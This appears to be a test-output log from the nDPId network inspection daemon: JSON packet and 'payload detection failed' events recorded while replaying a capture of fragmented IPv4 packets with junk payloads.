+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8618,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":909321,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhTEAGRGUKAAACCoAAAlIlWV5VJkkqT1B7IjpoZGY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8618,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8619,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":909328,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhTkAGRGMKAAACCoAAAmxrZGE+TDxNTkJIR0ZERVc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8619,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8620,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":909337,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhUEAGRGEKAAACCoAAAiNAJCVeSEJHVgo0MjE0NjM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8620,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8621,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":909349,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhUkAGRF8KAAACCoAAAjE5ODIwNTEpKComXiUkI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8621,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8622,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":909361,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhVEAGRF0KAAACCoAAAiMkJV4mKigqJl4lJCNyc2Q="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8622,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8623,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":909376,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhVkAGRFsKAAACCoAAAmx1aGdrZmRzYmtudmMvLnQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8623,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00385{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8624,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":909390,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhWEAGRFkKAAACCoAAAmdmdGc\/R1I\/R1I\/c1I\/NzQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8624,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8625,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":909402,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhWkAGRFcKAAACCoAAAjgzOTYpKComXiUkI0AhQCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8625,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8626,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":909415,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhXEAGRFUKAAACCoAAAiQlXiYqKCkoKiZeJSQjQCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8626,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8627,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":909428,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhXkAGRFMKAAACCoAAAiQlXiYqKComXiUkIyYqKEs="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8627,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8628,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":909440,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhYEAGRFEKAAACCoAAAklKSEdGRDIqJkRGR0hKSyY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8628,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8629,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":909452,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhYkAGRE8KAAACCoAAAl4lJCMjRVRSJVleVSZJKk8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8629,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8630,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":909464,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhZEAGRE0KAAACCoAAAlB7IjpoZGZsa2RhPkw8TU4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8630,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8631,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":909479,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhZkAGREsKAAACCoAAAkJIR0ZERVcjQCQlXkhCR1Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8631,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8632,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":909491,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhaEAGREkKAAACCoAAAgo0MjE0NjMxOTgyMDUxKSg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8632,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8633,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":909503,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhakAGREcKAAACCoAAAiomXiUkI0AjJCVeJiooKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8633,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8634,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":909520,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhbEAGREUKAAACCoAAAl4lJCNyc2RsdWhna2Zkc2I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8634,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8635,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":909532,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhbkAGREMKAAACCoAAAmtudmMvLnRnZnRnP0dSP0c="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8635,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00383{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8636,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":909544,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhcEAGREEKAAACCoAAAlI\/c1I\/NzQ4Mzk2KSgqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8636,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8637,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":909557,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhckAGRD8KAAACCoAAAiUkI0AhQCMkJV4mKigpKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8637,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8638,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":909569,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhdEAGRD0KAAACCoAAAiZeJSQjQCMkJV4mKigqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8638,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8639,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":909581,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhdkAGRDsKAAACCoAAAiUkIyYqKEtJSkhHRkQyKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8639,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8640,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":909593,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAheEAGRDkKAAACCoAAAkRGR0hKSyZeJSQjI0VUUiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8640,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8641,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":909605,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhekAGRDcKAAACCoAAAlleVSZJKk9QeyI6aGRmbGs="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8641,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8642,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":909620,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhfEAGRDUKAAACCoAAAmRhPkw8TU5CSEdGREVXI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8642,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8643,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":909632,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhfkAGRDMKAAACCoAAAiQlXkhCR1YKNDIxNDYzMTk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8643,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8644,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":909644,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhgEAGRDEKAAACCoAAAjgyMDUxKSgqJl4lJCNAIyQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8644,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8645,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":909657,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhgkAGRC8KAAACCoAAAiVeJiooKiZeJSQjcnNkbHU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8645,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8646,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":909670,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhhEAGRC0KAAACCoAAAmhna2Zkc2JrbnZjLy50Z2Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8646,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8647,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":909682,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhhkAGRCsKAAACCoAAAnRnP0dSP0dSP3NSPzc0ODM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8647,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8648,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":909693,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhiEAGRCkKAAACCoAAAjk2KSgqJl4lJCNAIUAjJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8648,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8649,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":909705,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhikAGRCcKAAACCoAAAl4mKigpKComXiUkI0AjJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8649,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8650,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":909717,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhjEAGRCUKAAACCoAAAl4mKigqJl4lJCMmKihLSUo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8650,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8651,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":909730,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhjkAGRCMKAAACCoAAAkhHRkQyKiZERkdISksmXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8651,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8652,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":909742,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhkEAGRCEKAAACCoAAAiQjI0VUUiVZXlUmSSpPUHs="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8652,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8653,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":909755,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhkkAGRB8KAAACCoAAAiI6aGRmbGtkYT5MPE1OQkg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8653,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8654,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":909767,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhlEAGRB0KAAACCoAAAkdGREVXI0AkJV5IQkdWCjQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8654,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8655,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":909780,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhlkAGRBsKAAACCoAAAjIxNDYzMTk4MjA1MSkoKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8655,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8656,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":909792,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhmEAGRBkKAAACCoAAAl4lJCNAIyQlXiYqKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8656,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8657,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":909806,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhmkAGRBcKAAACCoAAAiQjcnNkbHVoZ2tmZHNia24="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8657,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8658,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":909818,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhnEAGRBUKAAACCoAAAnZjLy50Z2Z0Zz9HUj9HUj8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8658,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8659,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":909831,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhnkAGRBMKAAACCoAAAnNSPzc0ODM5NikoKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8659,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 